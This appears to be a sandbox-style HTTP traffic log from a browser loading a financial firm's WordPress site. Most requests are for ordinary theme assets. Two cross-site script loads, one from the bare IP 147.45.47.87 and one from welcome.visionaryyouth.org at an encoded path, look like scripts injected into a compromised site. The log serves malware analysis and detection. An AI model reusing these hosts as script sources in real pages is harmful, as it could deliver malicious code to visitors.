Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/style.css?ver=10.4.16 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/css/style.css HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/font-awesome/css/font-awesome.css HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/font-awesome/css/font-awesome.min.css HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/css/bootstrap.min.css HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/css/responsive.css HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/broker.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/linkedin-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/GothamMedium.woff HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/Montserrat-Bold.woff HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/font-awesome/fonts/fontawesome-webfont.woff?v=4.1.0 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/Montserrat-Regular.woff HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/Georgia.woff HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff2 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js?hl=en_US&onload=recaptchaCallback&render=explicit&ver=2.0 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1Host: bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1Host: bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/broker.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/linkedin-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/banner.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/facebook-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/04/BFJ_Updated_Logo_3.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/js/bootstrap.min.js HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/theme.js HTTP/1.1Host: 147.45.47.87Connection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cornerstone/assets/js/site/cs-classic.7.4.16.js?ver=7.4.16 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x/framework/dist/js/site/x.js?ver=10.4.16 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wpcf7-recaptcha/assets/js/wpcf7-recaptcha-controls.js?ver=1.2 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.ttf HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1Host: welcome.visionaryyouth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/06/banner2.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/07/shutterstock_559577665.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/04/RMD-2023.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
